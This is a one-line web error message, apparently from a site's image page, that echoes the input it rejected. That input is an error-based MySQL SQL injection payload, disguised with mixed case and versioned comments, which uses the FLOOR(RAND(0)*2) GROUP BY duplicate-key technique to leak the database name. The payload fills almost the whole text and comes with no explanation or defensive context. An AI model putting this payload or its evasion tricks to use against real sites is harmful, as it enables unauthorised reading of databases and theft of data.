Error : Image Id should be numeric (-1'' AND (/*!SElEcT*/ 8041 FRoM(/*!selEcT*/ COUNT(*),CONCAt((/*!SelEcT*/ concat(0x7c3a3a3a3a,substring(database(),1,52),0x3a3a3a3a7c) ),floor(rand(0)*2))x FRoM INFORMATION_SCHEMA.TABLES GROuP By x)a))